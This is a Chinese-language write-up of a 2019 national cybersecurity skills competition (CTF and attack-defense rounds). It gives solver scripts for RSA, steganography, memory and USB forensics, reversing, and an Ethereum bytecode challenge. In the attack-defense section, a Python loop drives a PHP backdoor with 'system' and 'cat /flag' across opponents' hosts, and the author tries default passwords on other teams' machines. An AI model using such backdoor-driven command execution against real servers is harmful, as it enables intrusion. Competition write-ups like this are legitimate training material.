Writeup for 中国技能大赛——全国网络安全管理职业技能竞赛 2019

初赛

初赛在杭州,地点在中国移动杭州研发中心。

IMG20190907124022

IMG_20190907_124333

顺便去旁边的杭州师范大学(仓前新校区)逛了下,真羡慕别人的学校:

IMG_20190907_130225

IMG_20190907_130729

IMG20190907132103

Crypto

垃圾比赛,才2道Crypto,就值个30分。

Crypto1 10pt

打开题目描述,看到是一段字符串,直接看到结尾,c666,内心甚至毫无波动,。

1
2
s = 'xxx'
print(bytes.fromhex(s[::-1]))

Crypto2 20pt

RSA.txt

n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377
m=???

n.bit_length()看了一下,才269bit,直接factor。

可惜没外网,用不了小网站,不过还好有sage,放后台几分钟就跑出来了。

1
2
3
factor(703739435902178622788120837062252491867056043804038443493374414926110815100242619)

# 782758164865345954251810941 * 810971978554706690040814093 * 1108609086364627583447802163

exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from Crypto.Util.number import *

n= 703739435902178622788120837062252491867056043804038443493374414926110815100242619
e= 59159
c= 449590107303744450592771521828486744432324538211104865947743276969382998354463377

p = [782758164865345954251810941, 810971978554706690040814093, 1108609086364627583447802163
]
phi = (p[0] - 1) * (p[1] - 1) * (p[2] - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
# b'flag{1e257b39a25c6a7c4d66e197}'

抢了2个一血,题目太简单了。。

Steg

Steg1 xxpt

拿到一个图片,用010打开,能看到output里面报错,说CRC Mismatch @ chunk[0],再去看看原图,发现图片的高度是有点不太对。

利用CRC32来计算正确的宽度和高度。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import binascii
import struct

with open('XImg.png', 'rb') as f:
    data = f.read()
    for width in range(2048):
        for height in range(2048):
            guess = data[0xC:0xF+1] + struct.pack('>ii', width, height) + data[0x18:0x1C+1]
            crc = binascii.crc32(guess)
            if crc == 0x53D1578A:
                 print(f"width: {width:#06x}, height: {height:#06x}")

# width: 0x0400, height: 0x0271

修改对应位置的高度,然后保存。

本以为flag就会在图片的下面的,可是并没有。。

试着粗略地看了下图片的lsb,没有发现什么有用的信息。

后来队友说,用Stegsolver在某个通道里发现了一个二维码。好吧,毕竟垃圾比赛,题目也就只能是这些套路了。

不能上外网,手机也都上交了,还好之前有了解过一个命令行工具zbarimg可以离线解析二维码。把图片保存下来,然后zbarimg xxx.png就能得到flag

steg2 xxpt

拿到一个.exe文件,没敢运行,直接先010看一下,发现是个图片的base64

复制进浏览器url栏,回车得到一张刘大爷的图片:

再拖进010,发现末尾藏了一个压缩包。

复制hex数据,新建文件,Edit As: Hex,粘贴,保存,得到压缩包。

打开压缩包,发现有密码。试了下伪加密,并不是。

看来要爆破密码,不过这时习惯性地看了下前面那张图片的details

嗯,都是套路。

password is QwE12#,输入解压得到flag{06e9e74c449042d19e6ee3f6c04fed92}

Misc

Misc3 15pt

拿到一个.raw文件,看起来是个取证题,不过没管那么多,还是拖进010

搜索字符串flag{,直接看到

试着交了下,不对。

hex转成ascii,提交,正确!

这题目真垃圾。。。

Misc1 30pt

没外网,不太会流量包分析的题目。

(赛后复现)

流量分析题,wifi流量,wep加密,告诉我们密码是6666xxxx

掩码攻击,上网搜寻了一番,找了一个linux环境下的工具aircrack-ng

不太会写掩码爆破bb的命令行参数,直接先生成了一个字典,然后字典攻击。

1
2
3
with open('dic.txt', 'w') as f:
    for i in range(10000):
        f.write(f"6666{i:04d}\n")

所以flag应该就是flag{0566668912-f059-448f}

Misc2 30pt

(赛后复现)

题目要求从流量包里面找到黑客用的菜刀密码。

参考了下wireshark的基本使用及分析流量包的技巧

里面有讲到:

同样试着先http.request.method == POST过滤。

按上面那题的思路,菜刀密码应该就是cmd,可是这一题跟上面那一题有一个区别就是这边多了一个strrev

比赛的时候,我交过flag{cmd},并不对。

所以flag到底是什么??

Reverse

Re2 30pt

一道迷宫题,输入key,走出去就输出Good!,走错了就error!flagkey的md5值。 要过两道check,两道check基本上是一样的,唯一的区别就是check1要保证18步走出去,而check2则没有步数限制。

迷宫如下:

201111111100000000000000000011111
101111111101111111111011110011111
101111111101111111111011110011111
100000000000000500000100000000011
111111110101111011111111111111111
111100001101111000000000000000000
111100101000000111111111111111112

5是出发点,只能走0,要走到2。

'w': 上
'.': 下
'0': 左
'm': 右

这题就很沙雕,没说必须两次要走不同的出口,导致有多解。

check1限制了18步,那只能左上出去。 14左+3上+1左:'0'*14 + 'w'*3 + '0' == '00000000000000www0'

一开始,我觉得check2直接按照check1的走法完全没问题。 也就是:00000000000000www000000000000000www0

flag,显示不对。。

找来主办方,主办方说这题是有点坑,然后又提示我后半部分有问题。

嗯,那看来check2只能从右下出去了。 2下+17右+1下: '.'*2 + 'm'*17 + '.' == ..mmmmmmmmmmmmmmmmm.

那么key = 00000000000000www0..mmmmmmmmmmmmmmmmm.

转成md5

1
2
3
4
5
import hashlib

print(hashlib.md5(b'00000000000000www0..mmmmmmmmmmmmmmmmm.').hexdigest())

# flag{d8ec55f877596b311117434cfc9e0cff}

交了flag,终于对了。。又拿了个一血,不过并没有什么加成。。

Re1 30pt

先要脱个upx的壳。

没怎么打过逆向,不会脱壳,又没外网,现场学都学不了。。 tcl…

(赛后复现)

upx壳,原理先暂时缓一缓,找个工具脱了再说。

上网搜寻了一波,找到了一个UPX Easy GUI,直接脱。

脱完就很简单了。


输入长度不超过27,过一个check。

input经过一通替换后变为tfoQ5ckkwhX51HYpxAjkMQYTAp5

  1. diff = input[i] - key[i]
  2. output[i] = table[diff % 4][diff]

大致流程可以看[源代码]。(https://www.cnblogs.com/QKSword/p/9095242.html )

exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
table = [
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",
    "+/abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ",
    "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/",
    "0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
]
key = "QASWZXDECVFRBNGTHYJUMKIOLP"
output = "tfoQ5ckkwhX51HYpxAjkMQYTAp5"

for k, out in enumerate(output):
    for i in range(4):
        index = table[i].index(out)
        if index % 4 == i:
            add = ord(key[k]) + index
            if 33 <= add <=126:
                print(chr(add), end='')
    print()

md,又是一道多解。

flag{this_is_a_easy_suanfa}

PWN

三道堆题,dnm

Web

队友说三道题全都是第五空间的原题。。

垃圾比赛。

下午AWD

完全不会。。

手动尝试用初始密码登录别的靶机,找到了3台。。迅速改了密码。

然后每回合手动交flag。。

Summary

Web相关的等有时间要去学一手了。

AWD也要好好搞一下了。

决赛

决赛在西安锦江国际酒店,五星级。

不怎么会拍照:

IMG_20191123_172640

IMG_20191123_172658

IMG_20191123_171929

IMG20191123190145

Introduction

全程断网比赛,还好电脑里存了很多东西,现场自学。。。

第一天早上个人赛

本来是第一的,而且跟第二分差拉的挺大的。奈何比赛时间有点长,到了后面,下面的人都赶上来了。。

Industrial_01

wireshark打开流量包,ip.dst == 10.1.1.49过滤流量包。

右键->追踪TCP流->发现00411000002018008008为PLC的序列号。

hashlib.md5(b'00411000002018008008').hexdigest()获得flag。

flag{57ab8a9c2f5962abf9d27a26343e04af}

crackme01

IDA打开

F5反编译,发现几个if后,会输出正确的flag。

encryptCTF{gdb_or_r2?}

二维码签到

linux下,zbarimg qr.png获得flag。

flag{have_a_good_luck}

简单的RSA

sagemath直接分解n

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
n = 0xe708251f8e8b616121419de1369f44b4a92f9641b8270ae6c50cef2bb6548de7633176399640a553cc764ab02decfd4cbe45
# factor(n)
# n = 1235542029039790988583258906019 * 1235542029039790988583258906103 * 1235542029039790988583258906107 * 1235542029039790988583258906163
ps = [
 1235542029039790988583258906019,
 1235542029039790988583258906103,
 1235542029039790988583258906107,
 1235542029039790988583258906163
]

phi = 1
for p in ps:
    phi *= (p-1)

c=0x58bd0290b41e567e9839a9cc70295107bb44a9e6a9b36ee2d36e19b01bf55083823b8983e02a8ea5b94facb221797babf72b
e=0x10001

d = inverse_mod(e, phi)
m = pow(c, d, n)
print m
# 13040004482819733629700969318967011475581959936432563287438093969804777918126467048875308157

# In [55]: long_to_bytes(pow(c,d,n))
# Out[55]: b'flag{2a0efd7734a07c6c430cfd04dfccdd94}'

memory

1
2
$ volatility -f 8.raw imageinfo
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)

指定系统类型并查看进程表

1
2
$ volatility -f 8.raw --profile WinXPSP2x86 pslist
0x81ca5a20 notepad.exe            3000    924      1       44      0      0 2018-11-19 06:50:46 UTC+0000

发现有一个notepad进程

1
2
$ volatility -f 8.raw --profile WinXPSP2x86 notepad
flag{3661386562366162333565313332396130373363313239656230356332636566}

小明的键盘

键盘流量包分析

tshark -r usb.pcapng -T fields -e usb.capdata导出键位信息

0000090000000000
0000000000000000
00000f0000000000
0000000000000000
0000040000000000
0000000000000000
00000a0000000000
0000000000000000
0200000000000000
02002f0000000000
0200000000000000
0000000000000000
0000220000000000
0000000000000000
0000060000000000
0000000000000000
0000220000000000
0000000000000000
00001f0000000000
0000000000000000
0000040000000000
0000000000000000
0000070000000000
0000000000000000
0000060000000000
0000000000000000
0000070000000000
0000000000000000
00001f0000000000
0000000000000000
0000050000000000
0000000000000000
0000060000000000
0000000000000000
0000060000000000
0000000000000000
0000270000000000
0000000000000000
0000270000000000
0000000000000000
0000270000000000
0000000000000000
0000040000000000
0000000000000000
0000250000000000
0000000000000000
0000050000000000
0000000000000000
0000210000000000
0000000000000000
0000050000000000
0000000000000000
0000070000000000
0000000000000000
0000220000000000
0000000000000000
0000080000000000
0000000000000000
0000050000000000
0000000000000000
0000200000000000
0000000000000000
0000230000000000
0000000000000000
0000050000000000
0000000000000000
0000250000000000
0000000000000000
0000210000000000
0000000000000000
0000060000000000
0000000000000000
0000070000000000
0000000000000000
0000080000000000
0000000000000000
0200000000000000
0200300000000000
0200000000000000
0000000000000000

根据电脑里存了的Universal Serial Bus(USB) manual.pdf里,关于Keyboard的对照表,转成对应的字符。

flag{5c52adcd2bcc000a8b4bd5eb36b84cde}

VCSA

文件内容实际上一个base64编码的图片,复制进浏览器url栏,回车,拿到图片。

是一个jpg文件,图片元数据里有QwE12#

010 Editor打开,发现末尾有一个压缩包。

修改后缀为.zip,打开,需要密码,输入QwE12#正确,解压得到flag。

flag{06e9e74c449042d19e6ee3f6c04fed92}

五彩斑斓的二维码

将彩色像素值转成白色或者黑色

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from PIL import Image
from itertools import combinations

img = Image.open('qr_code.bmp')

w, h = img.size
data = img.load()

white = (255, 255, 255)
black = (0, 0, 0)

colors = [(0, 0, 255), (255, 0, 0), (0, 255, 0),
          (255, 255, 0), (0, 255, 255), (255, 0, 255)]

for i in range(64):
    new_img = Image.new(img.mode, img.size)
    new = new_img.load()

    b_i = bin(i)[2:].zfill(6)
    mappings = {}
    for k, b in enumerate(b_i):
        if b == '1':
            mappings[colors[k]] = white
        else:
            mappings[colors[k]] = black

    for x in range(w):
        for y in range(h):
            pixel = data[x, y]
            if pixel == white or pixel == black:
                new[x, y] = pixel
            else:
                new[x, y] = mappings[pixel]
    new_img.save(f'{i}.png')

img.close()

得到64张二维码。

zbarimg *.png获得3段flag

QR-Code:flag{5bfc2c45
QR-Code:6d10a8b830a6f
QR-Code:ed7cfdf08f3}

flag{5bfc2c456d10a8b830a6fed7cfdf08f3}

第一天下午团队赛

3号机

Lib\Config\Controllers.php下发现有后门

image-20191129110901022

构造payload,写脚本全场打:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import os


# Token = 'CHyEnYnN8d3MwMH68NAYq2GRVcWYZjedlz5zMrfDd5kQv'
# url = 'http://10.66.40.200/api/v1/att_def/web/submit_flag/?event_id=5'
prefix = 'http://172.34.'
suffix = '.103/Lib/Config/Controllers.php?b2=cat%20/flag&b1=system'

for i in range(1, 12):
    try:
        url = prefix + str(i) + suffix
        # print(url)
        html = requests.get(url)
        # print(html.text)

        if 'warning' not in html.text:
            print(html.text.split('\n')[-2])
            print(i)
    except:
        continue

打到后面,就只有1-2台能打了。。

2号机

没审出洞,还一直被打,修不了。

到比赛结束前半个小时,才发现原来主办方提供了每一轮的流量。。。。

然后开始修洞,到比赛结束都还没修好。。

1号机

2web+1crypto,没办法,只能我来看看pwn了

程序挺啰嗦的。

逆到一个退出的逻辑:

image-20191129111412393

存在缓冲区溢出。

read(0, &buf, 0x70uLL)patch成read(0, &buf, 0x50uLL)

image-20191129111727951

顺手还patch了一些别的不太安全的地方。

scp上传至1号机,成功防住!

TL;DR

防住了1号机和3号机,3号机还能每轮交几个flag。最后排名5/12,tcl。。。

第二天上午精英个人赛

第一天个人赛拿了个第四。。前5能进这个精英个人赛。

一拿到题,6道题,感觉没有一个能出。

每个题都看了遍,发现就智能合约那题可以做一下。

智能合约

请根据合约及其交互信息找出其中隐藏的信息。

Bytecode:
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806304618359146100725780631cbeae5e1461009f578063890eba68146100cc578063a2da82ab146100f7578063f0fdf83414610127575b600080fd5b34801561007e57600080fd5b5061009d60048036038101908080359060200190929190505050610154565b005b3480156100ab57600080fd5b506100ca6004803603810190808035906020019092919050505061015e565b005b3480156100d857600080fd5b506100e1610171565b6040518082815260200191505060405180910390f35b34801561010357600080fd5b50610125600480360381019080803560ff169060200190929190505050610177565b005b34801561013357600080fd5b50610152600480360381019080803590602001909291905050506101bb565b005b8060008190555050565b6000548114151561016e57600080fd5b50565b60005481565b60008060009150600090505b60108110156101ab576008829060020a0291508260ff16821891508080600101915050610183565b8160005418600081905550505050565b8060036000540201600081905550505600a165627a7a7230582012c9c1368a7902a818e339b8db79b7130db8795bd2a793898b509dc020d960d20029

Opcode:
PUSH1 0x80
PUSH1 0x40
MSTORE
PUSH1 0x04
CALLDATASIZE
LT
PUSH2 0x006d
JUMPI
PUSH1 0x00
CALLDATALOAD
PUSH29 0x0100000000000000000000000000000000000000000000000000000000
SWAP1
DIV
PUSH4 0xffffffff
AND
DUP1
PUSH4 0x04618359
EQ
PUSH2 0x0072
JUMPI
DUP1
PUSH4 0x1cbeae5e
EQ
PUSH2 0x009f
JUMPI
DUP1
PUSH4 0x890eba68
EQ
PUSH2 0x00cc
JUMPI
DUP1
PUSH4 0xa2da82ab
EQ
PUSH2 0x00f7
JUMPI
DUP1
PUSH4 0xf0fdf834
EQ
PUSH2 0x0127
JUMPI
JUMPDEST
PUSH1 0x00
DUP1
REVERT
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x007e
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x009d
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x0154
JUMP
JUMPDEST
STOP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x00ab
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x00ca
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x015e
JUMP
JUMPDEST
STOP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x00d8
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x00e1
PUSH2 0x0171
JUMP
JUMPDEST
PUSH1 0x40
MLOAD
DUP1
DUP3
DUP2
MSTORE
PUSH1 0x20
ADD
SWAP2
POP
POP
PUSH1 0x40
MLOAD
DUP1
SWAP2
SUB
SWAP1
RETURN
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x0103
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x0125
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
PUSH1 0xff
AND
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x0177
JUMP
JUMPDEST
STOP
JUMPDEST
CALLVALUE
DUP1
ISZERO
PUSH2 0x0133
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
PUSH2 0x0152
PUSH1 0x04
DUP1
CALLDATASIZE
SUB
DUP2
ADD
SWAP1
DUP1
DUP1
CALLDATALOAD
SWAP1
PUSH1 0x20
ADD
SWAP1
SWAP3
SWAP2
SWAP1
POP
POP
POP
PUSH2 0x01bb
JUMP
JUMPDEST
STOP
JUMPDEST
DUP1
PUSH1 0x00
DUP2
SWAP1
SSTORE
POP
POP
JUMP
JUMPDEST
PUSH1 0x00
SLOAD
DUP2
EQ
ISZERO
ISZERO
PUSH2 0x016e
JUMPI
PUSH1 0x00
DUP1
REVERT
JUMPDEST
POP
JUMP
JUMPDEST
PUSH1 0x00
SLOAD
DUP2
JUMP
JUMPDEST
PUSH1 0x00
DUP1
PUSH1 0x00
SWAP2
POP
PUSH1 0x00
SWAP1
POP
JUMPDEST
PUSH1 0x10
DUP2
LT
ISZERO
PUSH2 0x01ab
JUMPI
PUSH1 0x08
DUP3
SWAP1
PUSH1 0x02
EXP
MUL
SWAP2
POP
DUP3
PUSH1 0xff
AND
DUP3
XOR
SWAP2
POP
DUP1
DUP1
PUSH1 0x01
ADD
SWAP2
POP
POP
PUSH2 0x0183
JUMP
JUMPDEST
DUP2
PUSH1 0x00
SLOAD
XOR
PUSH1 0x00
DUP2
SWAP1
SSTORE
POP
POP
POP
POP
JUMP
JUMPDEST
DUP1
PUSH1 0x03
PUSH1 0x00
SLOAD
MUL
ADD
PUSH1 0x00
DUP2
SWAP1
SSTORE
POP
POP
JUMP
STOP

部分和合约的交互记录

log1:
0xa2da82ab0000000000000000000000000000000000000000000000000000000000000009

log2:
0xf0fdf83400000000000000000000000000000000000000000000000000000000deadbeaf

log3:
0xa2da82ab0000000000000000000000000000000000000000000000000000000000000007

log4:
secret.flag
{
    "0": "uint256: 36269314025157789027829875601337027084"
}

没外网,不然在线反编译网站一搞,直接得到伪代码,比看这个字节码舒服多了。

还好之前去打数字经济,逆过伪代码的智能合约,大致了解这个合约代码的一个结构。而且也稍微接触过汇编代码,有一定的理解。

最巧的是,之前有download过Solidity的官方文档;而且之前也扫过一遍这个文档,有印象在这个文档里面是有Solidity的底层字节码相关的东西的。

在电脑里,找到了文档:

image-20191129112722213

在文档里,找到了字节码所在的位置:

image-20191129112915501

它居然说,

This document does not want to be a full description of the Ethereum virtual machine, but the following list can be used as a reference of its opcodes.

虽然没给出全面的描述,但还是给出了一些指令的含义,以及KVM的底层实现。

image-20191129113226705

就一个结构,很简单。


image-20191129115457626

先观察了一下每次交互的记录,根据上次数字经济的经验,前面0xa2da82ab应该就是合约里面的函数所对应的一个Hash值,而末尾的00000009就应该是传入这个函数的参数。

所以这个交互记录就是:

call了0xa2da82ad这个函数两次,参数分别是9和7。

call了0xf0fdf834这个函数一次,参数是0xdeadbeaf

所以只要搞清楚这两个函数干了什么就可以了。


开逆!

随便逆了一会,完全分不清这个里面的JUMP到底跳到哪里去了。

然后发现有一个JUMPDEST,猜测就是`JUMP的目的地。

搜了一下一共有24个JUMPJUMPI,对应的也正好有24个JUMPDEST

image-20191129113925924

每次jump之前都会有一个PUSH2 0x????操作,翻了下文档,发现这就是jump的目的地。

但是0x????没有在代码里面标识啊!

又发现0x????里面没有重复的,而且有一个大小关系。

猜测,如果把这些0x????按大小排序,对应的应该就是从上往下的JUMPDEST的位置。

用python写了个脚本,并手动在每个JUMPDEST前标上当前的地址。

image-20191129114457579


根据数字经济的经验,合约代码的开头是一个跳转表。

image-20191129120002610

先搞这个0xa2da82ab,对应的开始位置应该是0x00f7

image-20191129120721523

再找到0x177处的逻辑:

image-20191129121310111

就是一个16轮操作。

最后跳到0x01ab这里,对storage[0]异或上对参数进行16轮操作后的值。


再来看看0xf0fdf834

image-20191129122226565

函数开头位置在0x0127

image-20191129122425426

然后再跳转到0x01bb

image-20191129124652908

storage[0]乘3,再加上0xdeadbeaf

实际上比赛结束前半个小时我才刚块逆完。

主办方看没人做出来,直接扔出了已经反汇编好的伪代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#   def storage:   flag is uint256 at storage 0
def flag(): # not payable   return flag

# #  Regular functions
#   def _fallback() payable: # default function   revert

def unknown04618359(uint256 _param1): # not payable   flag = _param1

def winner(uint256 _param1): # not payable   require _param1 == flag


def unknownf0fdf834(uint256 _param1): # not payable   flag = (3 * flag) + _param1



def unknowna2da82ab(uint8 _param1): # not payable
idx = 0
s = 0
while idx < 16:
    idx = idx + 1
    s = 256 * s xor _param1
    continue

flag = flag xor 0

这下就很简单了。

先逆log3storage[0]处直接异或0xa2da82ad(7);

再逆log2(storage[0] - 0xdeadbeaf) - 3;

最后逆log1storage[0]处异或0xa2da82ad(9)

得到的就是初始的storage[0],也就是flag。

python脚本如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

from Crypto.Util.number import long_to_bytes
def f(x):
    idx = 0
    s = 0
    while idx < 16:
        idx += 1
        s = 256*s ^ x
    return s

stg = 36269314025157789027829875601337027084

stg ^= f(7)
stg = (stg - 0xdeadbeaf) // 3
stg ^= f(9)

print(long_to_bytes(stg))
# b'flag{hello_ctf}'

拿了全场唯一的一血:

image-20191129125604334

颁奖

因为还要去赶着去湖湘杯,所以打完就溜了,没等到颁奖典礼。

最后拿了团队二等奖+个人赛二等奖+精英赛个人赛二等奖+新锐奖,以及5k奖金。